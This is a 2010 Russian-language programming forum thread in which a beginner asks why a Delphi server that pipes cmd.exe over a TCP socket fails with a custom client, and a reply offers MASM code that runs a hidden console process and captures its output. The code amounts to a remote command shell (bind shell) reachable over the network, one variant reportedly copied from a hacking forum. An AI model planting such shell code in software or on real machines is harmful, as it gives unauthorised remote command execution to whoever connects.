Не получаеться получить вывод консоли через PIPE (WinAPI+WinSock)

Тема в разделе "WASM.BEGINNERS", создана пользователем serega393, 28 июн 2010.

  1. serega393

    serega393 New Member

    Публикаций:
    0
    Регистрация:
    28 июн 2010
    Сообщения:
    13
    Здрасте. Помогите пожалуйсто.
    У меня клиент-серверное приложение.
    Сервер создаёт процес с запуском консоли и через пайпы получает вывод.Но у меня не работает через пересылку по сети, а если я буду читать в пайп локально (сразу писать в программе комманду в буффер а не через сеть) то работает.

    Посмотрите плиз код сервера (кусок процеДУРЫ).

    procedure RunRemoteShell(ClientSocket: TSocket);
    var
    SecurityAttributes: TSecurityAttributes;
    ProcessInfo: TProcessInformation;
    StartUpInfo: TStartupInfo;
    StdPipeOutRead: THandle;
    StdPipeOutWrite: THandle;
    StdPipeInRead: THandle;
    StdPipeInWrite: THandle;
    WasOK: Boolean;
    Buffer: array[0..1024] of Char;
    Buffer2: array[0..1024] of Char;
    BytesRead: Cardinal;
    BytesAvail: Cardinal;
    len: integer;
    WorkDir, Line: string;
    begin
    SecurityAttributes.nLength:=SizeOf(TStartUpInfo);
    SecurityAttributes.bInheritHandle:=True;
    SecurityAttributes.lpSecurityDescriptor:=nil;
    CreatePipe(StdPipeOutRead,StdPipeOutWrite,@SecurityAttributes,0);
    CreatePipe(StdPipeInRead,StdPipeInWrite,@SecurityAttributes,0);
    ZeroMemory(@StartUpInfo,SizeOf(TStartUpInfo));
    StartUpInfo.cb:=SizeOf(TStartUpInfo);
    StartUpInfo.dwFlags:=STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
    StartUpInfo.hStdInput:=StdPipeInRead;
    StartUpInfo.hStdOutput:=StdPipeOutWrite;
    StartUpInfo.hStdError:=StdPipeOutWrite;
    WasOK:=CreateProcess('C:\Windows\System32\cmd.exe',nil,nil,nil,True,CREATE_NEW_CONSOLE,nil,nil,StartUpInfo,ProcessInfo);
    while True do
    begin
    ZeroMemory(@Buffer,SizeOf(Buffer));
    ZeroMemory(@Buffer2,SizeOf(Buffer2));
    PeekNamedPipe(StdPipeOutRead,@Buffer,1023,@BytesRead,@BytesRead,nil);
    if BytesRead <> 0 then
    begin
    ReadFile(StdPipeOutRead,Buffer,SizeOf(Buffer),BytesRead,nil);
    Buffer[BytesRead]:=#13;
    Buffer[BytesRead+1]:=#10;
    send(ClientSocket,Buffer,SizeOf(Buffer),0);
    end
    else
    begin
    recv(ClientSocket,Buffer2,SizeOf(Buffer2),0);
    WriteFile(StdPipeInWrite,Buffer2,SizeOf(Buffer2),BytesRead,nil);
    end;
    end;
    end;


    А вот код клиента

    program Client;

    {$APPTYPE CONSOLE}

    uses
    Windows, WinSock;
    const
    Port: Integer = 82;
    var
    WSAData: TWSAData;
    ClientSocket: TSocket;
    ClientAddr: TSockAddrIn;
    Status: Integer;
    BufferRead: Array[0..1024] of Char;
    BufferWrite: Array[0..1024] of Char;
    len: integer;
    function WSASocketA(af, wType, protocol: Integer; IpProtocolInfo: Pointer; g, dwFlags: DWORD): Integer; stdcall; external 'ws2_32.dll';
    begin
    Status:=WSAStartup($0202,WSAData);
    ClientSocket:=WSASocketA(AF_INET,SOCK_STREAM,IPPROTO_TCP,nil,0,0);
    ClientAddr.sin_family:=AF_INET;
    ClientAddr.sin_port:=htons(Port);
    ClientAddr.sin_addr.S_addr:=inet_addr('127.0.0.1');
    Status:=connect(ClientSocket,ClientAddr,SizeOf(ClientAddr));
    if Status = 0 then
    while True do
    begin
    recv(ClientSocket,BufferRead,SizeOf(BufferRead),0);
    Write(BufferRead);
    Readln(BufferWrite);
    len:=Length(BufferWrite);
    BufferWrite[len]:=#13;
    BufferWrite[len+1]:=#10;
    send(ClientSocket,BufferWrite,SizeOf(BufferWrite),0);
    end;
    Read(BufferWrite);
    end.




    Помогите плиз, что нет так((((((( умаляю.

    И ещё вопрос. Читал на античате что вывод консоли можно получить легче, вот так. Глянте другую процедуру.

    procedure RunRemoteShell2(ClientSocket: TSocket);
    var
    StartUpInfo: TStartupInfo;
    ProcessInfo: TProcessInformation;
    begin
    ZeroMemory(@StartUpInfo,SizeOf(TStartUpInfo));
    StartUpInfo.cb:=SizeOf(TStartUpInfo);
    StartUpInfo.dwFlags:=STARTF_USESTDHANDLES;
    StartUpInfo.wShowWindow:=SW_NORMAL;
    StartUpInfo.hStdInput:=ClientSocket;
    StartUpInfo.hStdOutput:=ClientSocket;
    StartUpInfo.hStdError:=ClientSocket;
    CreateProcess('C:\Windows\System32\cmd.exe',nil,nil,nil,True,0,nil,nil,StartUpInfo,ProcessInfo);
    end;




    Она прикрасно работает, если с ней работать через прогу telnet (telnet 127.0.0.1 82)
    Но када я пишу к ней свой клиент, то клиет виснет на первой команде, и нехера не пашет((( просвятите плиз)
     
  2. dr_godsl

    dr_godsl New Member

    Публикаций:
    0
    Регистрация:
    13 дек 2009
    Сообщения:
    60
    вот код процеДУРЫ, которая запускает консольное приложение и возвращает, либо его вывод в удобочитаемом формате (OemToCharBuf), либо текстовое представление кода ошибки. Первые dword результата, это размер текстовых данных (для последующего send), далее собственно текст.
    Надеюсь поможет разобраться.

    Код (Text):
    1. Exec proc pcmd:dword
    2. local pi:PROCESS_INFORMATION
    3. local _si:STARTUPINFO
    4. local hRead:dword
    5. local hWrite:dword
    6. local sat:SECURITY_ATTRIBUTES
    7. local cbr:dword
    8. local resbuf:dword
    9.  
    10.     invoke VirtualAlloc,0,0FFFFh,MEM_COMMIT,PAGE_READWRITE
    11.     mov resbuf,eax
    12.    
    13.     mov sat.nLength,sizeof SECURITY_ATTRIBUTES
    14.     mov sat.lpSecurityDescriptor,0
    15.     mov sat.bInheritHandle,TRUE
    16.    
    17.     invoke CreatePipe,addr hRead,addr hWrite,addr sat,0
    18.    
    19.     mov _si.cb,sizeof STARTUPINFO
    20.     invoke GetStartupInfo,addr _si
    21.    
    22.     mov _si.wShowWindow,SW_HIDE
    23.     mov _si.dwFlags,STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES
    24.     mov eax,hWrite
    25.     mov _si.hStdOutput,eax
    26.     mov _si.hStdError,eax
    27.    
    28.     invoke CreateProcess,0,pcmd,0,0,TRUE,0,0,0,addr _si,addr pi
    29.     test eax,eax
    30.     jz @f
    31.     invoke WaitForSingleObject,pi.hProcess,20000
    32.     cmp eax,0
    33.     jz ok
    34.     invoke SetLastError,STATUS_TIMEOUT
    35.     jmp @f
    36. ok:
    37.     mov edi,resbuf
    38.     add edi,4
    39.     invoke ReadFile,hRead,edi,0FFFFh-4,addr cbr,0
    40.     mov ecx,cbr
    41.     inc ecx
    42.     mov [edi-4],ecx
    43.     invoke OemToCharBuff,edi,edi,cbr
    44.     jmp exit
    45. @@:
    46.     call GetLastError
    47.     mov edi,resbuf
    48.     add edi,4
    49.     invoke FormatMessage,FORMAT_MESSAGE_FROM_SYSTEM,0,eax,0,edi,0FFFFh,0
    50.     inc eax
    51.     mov [edi-4],eax
    52. exit:
    53.     invoke CloseHandle,hWrite
    54.     invoke CloseHandle,hRead
    55.     mov eax,resbuf
    56.     ret
    57. Exec endp